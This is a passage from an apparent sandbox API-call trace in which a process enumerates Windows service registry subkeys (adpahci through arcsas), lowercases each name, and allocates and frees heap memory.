lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.646] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.646] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.646] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0250.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.646] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.648] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.648] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.648] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.648] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0250.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.649] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.649] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.649] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0250.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.651] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.651] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0250.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.651] 